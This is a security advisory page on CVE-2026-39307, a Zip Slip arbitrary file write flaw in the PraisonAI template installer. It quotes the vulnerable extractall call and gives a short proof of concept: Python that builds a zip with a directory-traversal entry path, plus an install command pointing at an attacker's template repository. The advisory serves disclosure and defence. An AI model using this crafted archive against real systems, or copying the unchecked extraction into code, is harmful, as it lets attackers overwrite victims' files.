MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2026-39307

PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

CVE-2026-39307 ยท 2026-04-06 high

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Path traversal and file access
Also involves
Unsafe Model Loading and Supply Chain
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

Template archive entries with parent-directory segments are extracted without path checks, letting a malicious template overwrite files outside its folder. (Our summary, written by a model. The source text is below.)

Details

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

1. Generate a malicious zip payload:

import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
praisonai templates install github:attacker/malicious_template

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

References

Source: GitHub Advisory Database, used under CC BY 4.0.